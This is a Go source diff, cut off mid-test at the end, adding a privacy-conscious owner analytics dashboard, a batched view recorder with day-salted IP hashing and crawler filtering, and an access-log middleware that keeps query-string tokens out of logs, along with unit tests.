// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
// Package insights 为箱主生成「自己的数据面板」。
//
// 与 internal/stats 的分工:stats 是全站公开页(任何人都能看、不含单箱维度、
// 结果按自然日缓存);本包只看当前登录用户自己的箱,数据实时,只对箱主可见。
package insights
import (
"context"
"fmt"
"math"
"time"
"github.com/sirupsen/logrus"
"github.com/tamakyi/TamaBox/internal/db"
"github.com/tamakyi/TamaBox/internal/i18n"
)
const (
// TrendDays 趋势窗口天数(含今天)。
TrendDays = 30
// WeekDays「本周」窗口与「上周」对比窗口的长度。
WeekDays = 7
)
// Page 是箱主数据面板的渲染模型。
type Page struct {
Lang string
// HasViews 表示是否已经有任何一条访问记录。新箱子的面板会显示引导文案,
// 而不是一排 0 —— 后者看起来像统计坏了。
HasViews bool
Since time.Time
Today Window
Week Window
Month Window
All Window
Days []Day
// Hours 24 小时来访分布(近 30 天的浏览)。
Hours [24]Hour
PeakHour int
PeakHourN int64
Funnel *db.BoxFunnel
// 派生指标(百分比,0~100)。
Conversion float64 // 近 30 天「提问数 / UV」
AnswerRate float64 // 全期回答率
FastReply float64 // 全期 24 小时内回答占比
BestDay *Day
// AnswerRateText 是 AnswerRate 的展示形式:整数不带小数点(100%,而不是 100.0%)。
AnswerRateText string
// Conclusions 自动生成的一两句话结论,已本地化。
Conclusions []string
}
// Window 一段时间内的汇总。
type Window struct {
PV int64
UV int64
Questions int64
Answers int64
// PrevPV / HasPrev 用于跟上一个等长周期比较(只有 Week 有值)。
PrevPV int64
HasPrev bool
// Delta 相对 PrevPV 的变化百分比。PrevPV 为 0 时无意义,用 HasDelta 标记。
Delta float64
HasDelta bool
}
// Day 趋势图里的一天。
type Day struct {
Key string // 2026-10-29
Label string // 10-29
Weekday string
PV int64
UV int64
Questions int64
Answers int64
// 高度百分比(0~100),直接当 CSS 高度用。
PVHeight float64
UVHeight float64
QHeight float64
IsToday bool
IsEmpty bool
}
// Hour 时段分布里的一个柱子。
type Hour struct {
Hour int
N int64
Height float64
}
// Build 装配箱主 userID 的数据面板。
//
// 任何一个子查询失败都只让对应区块缺数据,不返回错误:面板是「看个大概」的页面,
// 因为一条聚合 SQL 挂了就整页 500,对箱主没有任何帮助。
func Build(ctx context.Context, lang string, userID uint, now time.Time) *Page {
p := &Page{Lang: lang, Funnel: &db.BoxFunnel{}}
today := dayOnly(now)
monthFrom := today.AddDate(0, 0, -(TrendDays - 1))
weekFrom := today.AddDate(0, 0, -(WeekDays - 1))
prevWeekFrom := today.AddDate(0, 0, -(2*WeekDays - 1))
prevWeekTo := today.AddDate(0, 0, -WeekDays)
// 先无条件铺好 30 天空骨架:访问统计和提问统计任何一侧缺数据,
// 趋势图都还能画出坐标轴与空柱,而不是整块消失。
p.buildDays(nil, today)
if db.BoxViews != nil {
days, err := db.BoxViews.Daily(ctx, userID, monthFrom, today)
if err != nil {
logrus.WithContext(ctx).WithError(err).Warn("加载箱主访问趋势失败")
} else {
p.fillViews(days)
}
if pv, uv, err := db.BoxViews.Totals(ctx, userID); err != nil {
logrus.WithContext(ctx).WithError(err).Warn("加载箱主累计访问失败")
} else {
p.All.PV, p.All.UV = pv, uv
p.HasViews = pv > 0
}
if since, err := db.BoxViews.FirstDay(ctx, userID); err != nil {
logrus.WithContext(ctx).WithError(err).Warn("加载箱主首次访问时间失败")
} else {
p.Since = since
}
}
if db.BoxAnalytics != nil {
if trend, err := db.BoxAnalytics.BoxTrend(ctx, userID, monthFrom, today); err != nil {
logrus.WithContext(ctx).WithError(err).Warn("加载箱主提问趋势失败")
} else {
p.fillQuestions(trend)
}
if hours, err := db.BoxAnalytics.BoxHours(ctx, userID, monthFrom); err != nil {
logrus.WithContext(ctx).WithError(err).Warn("加载箱主时段分布失败")
} else {
p.buildHours(hours)
}
if funnel, err := db.BoxAnalytics.BoxFunnel(ctx, userID); err != nil {
logrus.WithContext(ctx).WithError(err).Warn("加载箱主提问漏斗失败")
} else {
p.Funnel = funnel
}
}
p.aggregateWindows(today, weekFrom, prevWeekFrom, prevWeekTo)
p.computeRates()
return p
}
// dayOnly 截断到当天 0 点,保留传入时区。
func dayOnly(t time.Time) time.Time {
return time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location())
}
// buildDays 铺出完整的 30 天序列(不含任何计数)。
func (p *Page) buildDays(_ []db.BoxViewDay, today time.Time) {
from := today.AddDate(0, 0, -(TrendDays - 1))
p.Days = make([]Day, 0, TrendDays)
for i := 0; i < TrendDays; i++ {
d := from.AddDate(0, 0, i)
p.Days = append(p.Days, Day{
Key: d.Format("2006-01-02"),
Label: d.Format("01-02"),
Weekday: fmt.Sprintf("stats.wd.%d", int(d.Weekday())),
IsToday: sameDay(d, today),
IsEmpty: true,
})
}
}
// fillViews 把访问量填进已有骨架。
func (p *Page) fillViews(rows []db.BoxViewDay) {
index := make(map[string]int, len(p.Days))
for i, d := range p.Days {
index[d.Key] = i
}
for _, r := range rows {
if i, ok := index[r.Day.Format("2006-01-02")]; ok {
p.Days[i].PV = r.PV
p.Days[i].UV = r.UV
p.Days[i].IsEmpty = r.PV == 0 && p.Days[i].Questions == 0
}
}
p.recomputeHeights()
}
// fillQuestions 把提问 / 回答数填进已有骨架。
func (p *Page) fillQuestions(rows []db.BoxDayCount) {
index := make(map[string]int, len(p.Days))
for i, d := range p.Days {
index[d.Key] = i
}
for _, r := range rows {
if i, ok := index[r.Day.Format("2006-01-02")]; ok {
p.Days[i].Questions = r.Questions
p.Days[i].Answers = r.Answers
p.Days[i].IsEmpty = p.Days[i].PV == 0 && r.Questions == 0
}
}
p.recomputeHeights()
}
// recomputeHeights 按窗口内最大值归一化成百分比高度。
//
// 最大值为 0 时全部置 0(而不是除零),模板会把柱高 0 渲染成一条淡淡的底线。
func (p *Page) recomputeHeights() {
var maxPV, maxQ int64
for _, d := range p.Days {
if d.PV > maxPV {
maxPV = d.PV
}
if d.UV > maxPV {
maxPV = d.UV
}
if d.Questions > maxQ {
maxQ = d.Questions
}
}
for i := range p.Days {
d := &p.Days[i]
if maxPV > 0 {
d.PVHeight = pct(d.PV, maxPV)
d.UVHeight = pct(d.UV, maxPV)
}
if maxQ > 0 {
d.QHeight = pct(d.Questions, maxQ)
}
}
}
func (p *Page) buildHours(counts [24]int64) {
var max int64
for _, n := range counts {
if n > max {
max = n
}
}
for h := 0; h < 24; h++ {
p.Hours[h] = Hour{Hour: h, N: counts[h]}
if max > 0 {
p.Hours[h].Height = pct(counts[h], max)
}
if counts[h] > p.PeakHourN {
p.PeakHourN = counts[h]
p.PeakHour = h
}
}
}
// aggregateWindows 从日序列切出今日 / 本周 / 本月窗口,并算上周对比。
func (p *Page) aggregateWindows(today, weekFrom, prevFrom, prevTo time.Time) {
for _, d := range p.Days {
t, err := time.ParseInLocation("2006-01-02", d.Key, today.Location())
if err != nil {
continue
}
p.Month.PV += d.PV
p.Month.UV += d.UV
p.Month.Questions += d.Questions
p.Month.Answers += d.Answers
if !t.Before(weekFrom) {
p.Week.PV += d.PV
p.Week.UV += d.UV
p.Week.Questions += d.Questions
p.Week.Answers += d.Answers
}
if !t.Before(prevFrom) && !t.After(prevTo) {
p.Week.PrevPV += d.PV
}
if sameDay(t, today) {
p.Today.PV = d.PV
p.Today.UV = d.UV
p.Today.Questions = d.Questions
p.Today.Answers = d.Answers
}
if p.BestDay == nil || d.PV > p.BestDay.PV {
cp := d
p.BestDay = &cp
}
}
// 全期提问 / 回答来自漏斗(它扫的是整张表,不受 30 天窗口限制)。
if p.Funnel != nil {
p.All.Questions = p.Funnel.Total
p.All.Answers = p.Funnel.Answered
}
p.Week.HasPrev = true
if p.Week.PrevPV > 0 {
p.Week.HasDelta = true
p.Week.Delta = float64(p.Week.PV-p.Week.PrevPV) / float64(p.Week.PrevPV) * 100
}
// 上周一次访问都没有时,「涨了 100%」这类结论毫无意义 —— 直接不显示对比。
}
func (p *Page) computeRates() {
if p.Month.UV > 0 {
p.Conversion = float64(p.Month.Questions) / float64(p.Month.UV) * 100
}
if p.Funnel != nil && p.Funnel.Total > 0 {
p.AnswerRate = float64(p.Funnel.Answered) / float64(p.Funnel.Total) * 100
if p.Funnel.Answered > 0 {
p.FastReply = float64(p.Funnel.RepliedIn24h) / float64(p.Funnel.Answered) * 100
}
}
p.AnswerRateText = formatPct(p.AnswerRate)
}
// formatPct 把百分比渲染成「100%」或「33.3%」——整数值不补 .0。
//
// 面板上「100.0%」这种写法会让人下意识去找那个小数位,而它并不携带信息。
func formatPct(v float64) string {
if v == math.Trunc(v) {
return fmt.Sprintf("%.0f", v)
}
return fmt.Sprintf("%.1f", v)
}
// pct 返回 n 相对 max 的百分比,保留一位小数。
func pct(n, max int64) float64 {
if max <= 0 {
return 0
}
v := float64(n) / float64(max) * 100
// 四舍五入到 0.1,避免出现一长串小数把 CSS 撑得很长。
return float64(int(v*10+0.5)) / 10
}
func sameDay(a, b time.Time) bool {
ay, am, ad := a.Date()
by, bm, bd := b.Date()
return ay == by && am == bm && ad == bd
}
// formatDay 把日期格式化成「10-29」这种短标签,供文案使用。
func formatDay(t time.Time) string {
if t.IsZero() {
return ""
}
return t.Format("01-02")
}
// FormatInsights 生成面板顶部的自动结论。
//
// 放在这里而不是模板里:结论需要做「有没有数据」「除零」这类判断,
// 全塞进模板会让它变成一堆 eq/if 的嵌套。
func (p *Page) FormatInsights() {
lang := p.Lang
add := func(key string, args ...interface{}) {
text := i18n.T(lang, key, args...)
// 缺词条时 T 会返回 key 本身,别把内部 key 印到页面上。
if text == "" || text == key {
return
}
p.Conclusions = append(p.Conclusions, text)
}
if !p.HasViews && p.Funnel.Total == 0 {
add("insights.insight.empty")
return
}
if p.HasViews {
add("insights.insight.weekViews", formatInt(p.Week.PV), formatInt(p.Week.UV))
}
// 样本太小的时候「转化率」没有解释力:1 位访客提了 1 个问题就是 100%,
// 这种数字只会误导箱主,不如不说。
if p.Month.UV >= 5 && p.Month.Questions > 0 {
add("insights.insight.conversion", formatPct(p.Conversion))
}
if p.BestDay != nil && p.BestDay.PV > 0 {
add("insights.insight.bestDay", p.BestDay.Label, formatInt(p.BestDay.PV))
}
if p.PeakHourN > 0 {
add("insights.insight.peakHour", p.PeakHour)
}
if p.Funnel.Total > 0 {
add("insights.insight.answerRate", formatPct(p.AnswerRate))
}
if p.FastReply > 0 {
add("insights.insight.fastReply", fmt.Sprintf("%.0f", p.FastReply))
}
if p.Funnel.Unread > 0 {
add("insights.insight.unread", formatInt(p.Funnel.Unread))
}
if p.Week.HasDelta {
switch {
case p.Week.Delta >= 5:
add("insights.insight.trendUp", fmt.Sprintf("%.0f", p.Week.Delta))
case p.Week.Delta <= -5:
add("insights.insight.trendDown", fmt.Sprintf("%.0f", -p.Week.Delta))
default:
add("insights.insight.trendFlat")
}
}
}
// formatInt 给数字加千分位。
func formatInt(n int64) string {
if n < 0 {
return "-" + formatInt(-n)
}
s := fmt.Sprintf("%d", n)
if len(s) <= 3 {
return s
}
var out []byte
for i, c := range []byte(s) {
if i > 0 && (len(s)-i)%3 == 0 {
out = append(out, ',')
}
out = append(out, c)
}
return string(out)
}
+208
View File
@@ -0,0 +1,208 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package insights
import (
"net/http/httptest"
"testing"
"time"
)
func TestPct(t *testing.T) {
cases := []struct {
n, max int64
want float64
}{
{0, 0, 0}, // 除零:不能算出 NaN 塞进 CSS
{5, 0, 0}, // 同上
{10, 10, 100}, // 满格
{1, 3, 33.3}, // 四舍五入到一位小数
{2, 3, 66.7},
{1, 1000, 0.1},
}
for _, c := range cases {
if got := pct(c.n, c.max); got != c.want {
t.Errorf("pct(%d, %d) = %v, want %v", c.n, c.max, got, c.want)
}
}
}
func TestFormatInt(t *testing.T) {
cases := map[int64]string{
0: "0",
7: "7",
999: "999",
1000: "1,000",
12345: "12,345",
1234567: "1,234,567",
-1234: "-1,234",
}
for in, want := range cases {
if got := formatInt(in); got != want {
t.Errorf("formatInt(%d) = %q, want %q", in, got, want)
}
}
}
// 窗口切分是「今日 / 近 7 天 / 近 30 天」与「本周 vs 上周」的唯一实现,
// 算错不会报错、只会安静地显示错误的数字,所以单独测。
func TestAggregateWindows(t *testing.T) {
loc := time.Local
today := time.Date(2026, 10, 29, 0, 0, 0, 0, loc)
weekFrom := today.AddDate(0, 0, -(WeekDays - 1)) // 10-23
prevFrom := today.AddDate(0, 0, -(2*WeekDays - 1)) // 10-16
prevTo := today.AddDate(0, 0, -WeekDays) // 10-22
p := &Page{}
for i := 0; i < TrendDays; i++ {
d := today.AddDate(0, 0, -(TrendDays - 1) + i)
p.Days = append(p.Days, Day{Key: d.Format("2006-01-02")})
}
set := func(offsetDays int, pv, uv, q, a int64) {
key := today.AddDate(0, 0, offsetDays).Format("2006-01-02")
for i := range p.Days {
if p.Days[i].Key == key {
p.Days[i].PV, p.Days[i].UV = pv, uv
p.Days[i].Questions, p.Days[i].Answers = q, a
return
}
}
t.Fatalf("日期 %s 不在骨架里", key)
}
set(0, 5, 3, 1, 0) // 今天:本周 + 今日
set(-1, 2, 2, 0, 1) // 昨天:本周
set(-6, 4, 1, 2, 0) // 10-23:本周起点
set(-7, 9, 6, 0, 0) // 10-22:上周末日
set(-13, 6, 5, 0, 0) // 10-16:上周起点
p.aggregateWindows(today, weekFrom, prevFrom, prevTo)
// 本周 = 5+2+4;上周 = 9+6
if p.Week.PV != 11 {
t.Errorf("Week.PV = %d, want 11", p.Week.PV)
}
if p.Week.PrevPV != 15 {
t.Errorf("Week.PrevPV = %d, want 15", p.Week.PrevPV)
}
if !p.Week.HasDelta {
t.Fatal("上周有数据时 HasDelta 应为 true")
}
if got, want := p.Week.Delta, float64(11-15)/15*100; got != want {
t.Errorf("Week.Delta = %v, want %v", got, want)
}
if p.Today.PV != 5 || p.Today.UV != 3 {
t.Errorf("Today = %+v, want PV 5 UV 3", p.Today)
}
if p.Month.PV != 26 {
t.Errorf("Month.PV = %d, want 26(全部 5 天之和)", p.Month.PV)
}
if p.BestDay == nil || p.BestDay.PV != 9 {
t.Errorf("BestDay = %+v, want 10-22 的 9 次", p.BestDay)
}
}
// 上周一次访问都没有时不能给出「涨了 100%」这类结论。
func TestAggregateWindowsNoPrev(t *testing.T) {
loc := time.Local
today := time.Date(2026, 10, 29, 0, 0, 0, 0, loc)
p := &Page{}
for i := 0; i < TrendDays; i++ {
d := today.AddDate(0, 0, -(TrendDays - 1) + i)
p.Days = append(p.Days, Day{Key: d.Format("2006-01-02")})
}
p.Days[len(p.Days)-1].PV = 3
p.aggregateWindows(today, today.AddDate(0, 0, -6), today.AddDate(0, 0, -13), today.AddDate(0, 0, -7))
if p.Week.HasDelta {
t.Error("上周 PV 为 0 时 HasDelta 应为 false")
}
}
func TestSameDay(t *testing.T) {
a := time.Date(2026, 10, 29, 0, 0, 0, 0, time.Local)
b := time.Date(2026, 10, 29, 23, 59, 59, 0, time.Local)
c := time.Date(2026, 10, 30, 0, 0, 1, 0, time.Local)
if !sameDay(a, b) {
t.Error("同一天的任意时刻应判为同一天")
}
if sameDay(a, c) {
t.Error("跨天应判为不同天")
}
}
// 访客标识必须「同日可去重、跨日不可关联」:这是面板隐私承诺的技术基础。
func TestVisitorID(t *testing.T) {
r := NewRecorder(nil, "test-secret") // 不启动写入,仅用哈希方法
defer r.Close()
day1 := time.Date(2026, 10, 29, 8, 0, 0, 0, time.Local)
day1Later := time.Date(2026, 10, 29, 22, 0, 0, 0, time.Local)
day2 := time.Date(2026, 10, 30, 8, 0, 0, 0, time.Local)
a := r.visitorID("1.2.3.4", day1)
if a != r.visitorID("1.2.3.4", day1Later) {
t.Error("同一天同一 IP 必须得到相同标识,否则 UV 去重失效")
}
if a == r.visitorID("1.2.3.4", day2) {
t.Error("跨天必须得到不同标识,否则可长期追踪同一访客")
}
if a == r.visitorID("5.6.7.8", day1) {
t.Error("不同 IP 同一天必须不同")
}
if len(a) != 32 {
t.Errorf("标识长度 = %d, want 32", len(a))
}
// 换密钥后整体不可关联(运维轮换 xsrf_key 时历史哈希不会被重新对上)
other := NewRecorder(nil, "another-secret")
defer other.Close()
if a == other.visitorID("1.2.3.4", day1) {
t.Error("不同密钥应给出不同标识")
}
}
func TestIsCrawler(t *testing.T) {
cases := map[string]bool{
"": true, // 空 UA 基本是脚本
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0 Safari/537.36": false,
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)": true,
"curl/8.4.0": true,
"python-requests/2.31.0": true,
"Mozilla/5.0 (compatible; bingbot/2.0)": true,
"facebookexternalhit/1.1": true,
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0) AppleWebKit/605.1.15 Version/17.0 Mobile Safari/604.1": false,
}
for ua, want := range cases {
if got := isCrawler(ua); got != want {
t.Errorf("isCrawler(%q) = %v, want %v", ua, got, want)
}
}
}
func TestIsPrefetch(t *testing.T) {
cases := []struct {
name string
header string
value string
want bool
}{
{"普通请求", "", "", false},
{"Chrome 预取", "Sec-Purpose", "prefetch", true},
{"Chrome 预渲染", "Sec-Purpose", "prefetch;prerender", true},
{"Safari 预览", "X-Purpose", "preview", true},
{"Firefox 预取", "X-Moz", "prefetch", true},
}
for _, c := range cases {
req := httptest.NewRequest("GET", "/_/someone", nil)
if c.header != "" {
req.Header.Set(c.header, c.value)
}
if got := isPrefetch(req); got != c.want {
t.Errorf("%s: isPrefetch = %v, want %v", c.name, got, c.want)
}
}
}
+290
View File
@@ -0,0 +1,290 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package insights
import (
"context"
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"net/http"
"strings"
"sync"
"time"
"github.com/sirupsen/logrus"
"github.com/tamakyi/TamaBox/internal/db"
)
// Recorder 异步记录箱主页访问。
//
// 为什么不同步写库:箱主页是最高频的读路径,一次页面渲染里已经有 5~6 次查询
// (用户、提问列表、回答数、三个功能开关)。再同步加一条 UPSERT,等于给每个
// 访客多付一次写事务的代价 —— 而统计本来就不需要精确到毫秒,丢掉最后几秒的
// 数据没有任何影响。所以这里是「尽力而为」:投递不阻塞,积压了就丢。
//
// 生命周期:Init 时创建,web 进程退出前 Close 一次(flush 残留)。未初始化时
// 包级变量为 nil,调用方用 RecordView 这个 nil 安全的包装函数。
type Recorder struct {
store db.BoxViewsStore
secret []byte
ch chan viewEvent
done chan struct{}
wg sync.WaitGroup
// 关闭后仍有 handler 在跑(优雅关闭期),此时不能再往已关闭的 channel 发送。
mu sync.RWMutex
closed bool
}
type viewEvent struct {
userID uint
at time.Time
visitor string
}
const (
// 队列长度:突发流量下攒 512 条足够,超出说明数据库已经跟不上了,
// 此时记录本身也不是最重要的东西。
recorderQueueSize = 512
// flush 间隔:2 秒足够让「刷新页面就能看到数字」的体验成立,
// 又能把同一秒内的几十次访问合并成一条 SQL。
recorderFlushInterval = 2 * time.Second
// 单批上限:一条 INSERT 里塞几百行会拉长事务,分批更稳。
recorderBatchSize = 200
)
// NewRecorder 创建记录器并立刻拉起后台 flush 循环。secret 用于给访客 IP 加盐哈希,
// 通常传 server.xsrf_key。
//
// 为什么在构造函数里就启动 goroutine,而不是让调用方另起一个 Run:
// 否则 Close 与 Run 之间存在竞态 —— 若进程在 Run 还没被调度时就退出,
// wg.Wait 会立刻返回,队列里最后几秒的访问就丢了。这里把启动收进来,
// wg 计数在构造时就加好,时序是确定的。
func NewRecorder(store db.BoxViewsStore, secret string) *Recorder {
r := &Recorder{
store: store,
secret: []byte("boxview:" + secret),
ch: make(chan viewEvent, recorderQueueSize),
done: make(chan struct{}),
}
r.wg.Add(1)
go r.loop()
return r
}
// loop 后台批量写入,直到 Close。
func (r *Recorder) loop() {
defer r.wg.Done()
ticker := time.NewTicker(recorderFlushInterval)
defer ticker.Stop()
batch := make([]viewEvent, 0, recorderBatchSize)
flush := func() {
if len(batch) == 0 {
return
}
r.write(batch)
batch = batch[:0]
}
for {
select {
case ev := <-r.ch:
batch = append(batch, ev)
if len(batch) >= recorderBatchSize {
flush()
}
case <-ticker.C:
flush()
case <-r.done:
// 退出前把 channel 里剩下的取干净,否则优雅关闭期间的访问全丢。
for {
select {
case ev := <-r.ch:
batch = append(batch, ev)
if len(batch) >= recorderBatchSize {
flush()
}
default:
flush()
return
}
}
}
}
}
// Close 停止接收新事件,flush 残留后返回。幂等,可安全 defer。
func (r *Recorder) Close() {
r.mu.Lock()
if r.closed {
r.mu.Unlock()
return
}
r.closed = true
close(r.done)
r.mu.Unlock()
r.wg.Wait()
}
func (r *Recorder) write(batch []viewEvent) {
if r.store == nil {
return
}
opts := make([]db.RecordBoxViewOptions, 0, len(batch))
for _, ev := range batch {
opts = append(opts, db.RecordBoxViewOptions{
UserID: ev.userID,
ViewedOn: ev.at,
Visitor: ev.visitor,
})
}
// 用独立 context:请求的 context 在响应写完后就被取消了,
// 拿它写库会得到 "context canceled",统计静默丢失。
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
if err := r.store.RecordBatch(ctx, opts); err != nil {
// 统计写失败不影响任何用户可见行为,只留日志。
logrus.WithError(err).WithField("count", len(opts)).Warn("写入访问统计失败")
}
}
// record 非阻塞投递。队列满时直接丢弃:宁可少记几次,也不能让访客的页面
// 因为统计而变慢。
func (r *Recorder) record(userID uint, at time.Time, visitor string) {
r.mu.RLock()
defer r.mu.RUnlock()
if r.closed {
return
}
select {
case r.ch <- viewEvent{userID: userID, at: at, visitor: visitor}:
default:
}
}
// visitorID 计算「当天」的访客标识:HMAC(secret, 日期 || IP)。
//
// 为什么带日期:不加日期就能长期追踪同一个 IP 的来访轨迹,那已经是一份
// 可关联的行为记录。加日期盐之后,同一天内的重复访问仍能去重(UV 准确),
// 跨天则完全不可关联 —— 代价是「近 7 天 UV」是 7 个日 UV 之和。
//
// 取前 16 字节十六进制 = 32 字符,碰撞概率在个人站量级可以忽略。
func (r *Recorder) visitorID(ip string, at time.Time) string {
mac := hmac.New(sha256.New, r.secret)
mac.Write([]byte(at.Format("2006-01-02")))
mac.Write([]byte{0})
mac.Write([]byte(ip))
return hex.EncodeToString(mac.Sum(nil))[:32]
}
// Views 全局记录器。未初始化(如单测、CLI)时为 nil。
var Views *Recorder
// RecordView 记录一次箱主页访问。参数分别是箱主 ID、客户端 IP、请求。
//
// 会自行过滤掉:箱主本人、明显的爬虫、预取/预渲染请求。这些都不该算进
// 「有多少人来看过我的箱」,否则箱主刷自己的页面就能看到漂亮的数字。
func RecordView(userID uint, ip string, r *http.Request) {
if Views == nil || userID == 0 {
return
}
if isPrefetch(r) || isCrawler(r.UserAgent()) {
return
}
now := time.Now()
Views.record(userID, now, Views.visitorID(ip, now))
}
// isPrefetch 判断这是不是浏览器/链接预览的预取请求。
// 预取会在用户根本没打开页面的情况下命中,算进 UV 会明显虚高。
func isPrefetch(r *http.Request) bool {
if r == nil {
return false
}
for _, h := range []string{"Sec-Purpose", "X-Purpose", "X-Moz"} {
v := strings.ToLower(r.Header.Get(h))
if strings.Contains(v, "prefetch") || strings.Contains(v, "prerender") || strings.Contains(v, "preview") {
return true
}
}
return false
}
// crawlerHints 常见爬虫 UA 片段。
//
// 只做粗筛,不追求完整:目标是不让搜索引擎与监控探针把 UV 抬高。
// 误判成本很低(少记一次),漏判成本也低(多记一次),所以用最简单的子串匹配。
var crawlerHints = []string{
"bot", "spider", "crawler", "crawl", "slurp", "scrapy",
"curl/", "wget/", "python-requests", "python-urllib", "go-http-client",
"httpclient", "okhttp", "axios", "headlesschrome", "phantomjs",
"facebookexternalhit", "telegrambot", "whatsapp", "discordbot",
"monitor", "uptime", "pingdom", "statuscake",
}
func isCrawler(ua string) bool {
if ua == "" {
// 空 UA:绝大多数是脚本。真·浏览器一定带 UA。
return true
}
ua = strings.ToLower(ua)
for _, hint := range crawlerHints {
if strings.Contains(ua, hint) {
return true
}
}
return false
}
// RetentionDays 访问明细的保留天数。
//
// 明细表一行代表「某访客某天来过某箱」,体积随「日 UV × 箱数」增长。
// 面板最长只看 30 天,但「历史最好的一天」要看全期,所以留一年出头:
// 既能让箱主看到长期趋势,又不至于让表无限膨胀。
const RetentionDays = 400
// StartMaintenance 启动每日清理协程。ctx 取消时退出。
//
// 启动时先跑一次:进程停机期间错过的清理在这里补上,不必等满 24 小时。
func StartMaintenance(ctx context.Context, store db.BoxViewsStore) {
go func() {
run := func() {
if store == nil {
return
}
c, cancel := context.WithTimeout(context.Background(), time.Minute)
defer cancel()
n, err := store.Purge(c, time.Now().AddDate(0, 0, -RetentionDays))
if err != nil {
logrus.WithError(err).Warn("清理过期访问统计失败")
return
}
if n > 0 {
logrus.WithField("rows", n).Info("已清理过期的访问统计")
}
}
run()
ticker := time.NewTicker(24 * time.Hour)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
run()
}
}
}()
}
+74
View File
@@ -0,0 +1,74 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package route
import (
"net/http"
"strings"
"time"
"github.com/flamego/flamego"
"github.com/sirupsen/logrus"
"github.com/tamakyi/TamaBox/internal/shared"
)
// accessLogMiddleware 是 flamego.Classic() 内置 Logger() 的替代实现。
//
// 为什么不能用内置的:它记录的是 ctx.Request().RequestURI —— **含 query string**
// ([email protected]/logger.go:36,45)。本站有几个参数绝对不能进日志:
//
// ?t=<token> 私密提问的访问钥匙(route/question/question.go)
// ?code=<code> 一次性改密凭证(route/auth/recover.go)
// ?q=<keyword> 探索页搜索词
//
// 拿到 ?code= 可以直接重置该用户密码;拿到 ?t= 可以读别人发给箱主的私密提问。
// 而日志通常落 journald / out.log / 容器 json-file,凡是能看日志的人
// (外包运维、日志采集平台、Uptime 面板)都能直接利用。
//
// internal/tracing/flamego.go:36-40 早就为同一原因只取 URL.Path 并留了注释,
// 这里是同一个判断,之前只是漏在了框架自带的那层中间件上。
//
// 因此这里**只记 URL.Path**。日后若要按 query 排查,请显式加白名单键
// (tab/sort/page 这类无隐私含义的),不要把 RawQuery 整体加回来。
func accessLogMiddleware() flamego.Handler {
return func(ctx flamego.Context) {
started := time.Now()
// 放在 Recovery 外层:panic 被 Recovery 兜成 500 后,这里仍能记录状态码。
ctx.Next()
status := ctx.ResponseWriter().Status()
if !shouldAccessLog(ctx.Request().URL.Path, status) {
return
}
logrus.WithFields(accessLogFields(ctx.Request().Request, status, time.Since(started))).Info("access")
}
}
// shouldAccessLog 判断这条请求要不要进访问日志。
//
// 静态资源一页几十个请求,成功的不记,否则日志会被淹掉;
// 4xx/5xx 仍然要记 —— 排查「主题图 / 字体 404」靠的就是这些。
func shouldAccessLog(path string, status int) bool {
return !(strings.HasPrefix(path, "/static/") && status < http.StatusBadRequest)
}
// accessLogFields 构造访问日志字段。
//
// 抽成独立函数而不是内联,是为了让「无论请求带什么 query,path 字段都只有 path」
// 这件事能被单测直接断言 —— 这正是之前出问题的地方(框架默认 Logger 记的是 RequestURI)。
func accessLogFields(req *http.Request, status int, elapsed time.Duration) logrus.Fields {
return logrus.Fields{
"method": req.Method,
// 只取 URL.Path。绝不要换成 RequestURI / RawQuery,见文件头注释。
"path": req.URL.Path,
"status": status,
"duration": elapsed.Round(time.Millisecond).String(),
// 客户端 IP 走站内唯一口径 shared.ResolveClientIP(反代下取真实来源,
// 且只在 TCP 对端可信时才采信代理头),与封禁记录用同一套值,
// 出事时能把「日志里这个人」和「ban_records 里这条」对上。
"remote_ip": shared.ResolveClientIP(req),
}
}
+67
View File
@@ -0,0 +1,67 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package route
import (
"fmt"
"net/http/httptest"
"testing"
"time"
"github.com/stretchr/testify/require"
)
// TestAccessLogNeverRecordsQuery 是本轮修复的回归测试。
//
// 修复前用的是 flamego.Classic(),它自带的 Logger() 记录 RequestURI(含 query),
// 于是 ?t=<私密题钥匙> 与 ?code=<改密凭证> 原样进了日志(本地实测:
// `path=/_/tblocal/4?t=SECRETTOKEN123`)。拿到这些值可以直接读私密提问或重置密码。
//
// 现在要求:不论请求带什么 query,日志里只有 URL.Path。
func TestAccessLogNeverRecordsQuery(t *testing.T) {
cases := []struct {
name string
target string
want string
}{
{"私密提问 token", "/_/alice/42?t=SECRETTOKEN123", "/_/alice/42"},
{"改密凭证", "/recover/reset?code=SECRETCODE456", "/recover/reset"},
{"探索页搜索词", "/explore?q=%E7%A7%98%E5%AF%86&sort=latest", "/explore"},
{"分页参数", "/explore?page=2", "/explore"},
}
for _, c := range cases {
t.Run(c.name, func(t *testing.T) {
req := httptest.NewRequest("GET", c.target, nil)
fields := accessLogFields(req, 200, 3*time.Millisecond)
got, ok := fields["path"].(string)
require.True(t, ok, "path 字段必须是字符串")
require.Equal(t, c.want, got)
require.NotContains(t, got, "?", "path 里不允许出现 query 分隔符")
// 兜底:整个字段集合里都不许出现被拦截的凭证
for k, v := range fields {
require.NotContains(t, fmt.Sprint(v), "SECRET",
"字段 %q 泄露了 query 内容:%v", k, v)
}
})
}
}
// TestAccessLogSkipsStaticAssets 保证静态资源的成功请求不进日志(噪音控制),
// 但出错时仍然要记 —— 主题图 / 字体 404 正是靠这条排查的。
func TestAccessLogSkipsStaticAssets(t *testing.T) {
require.False(t, shouldAccessLog("/static/css/base.css", 200))
require.False(t, shouldAccessLog("/static/css/base.css", 304))
require.True(t, shouldAccessLog("/static/css/base.css", 404),
"静态资源 404 必须记录,否则排查不了图裂")
require.True(t, shouldAccessLog("/static/css/base.css", 500))
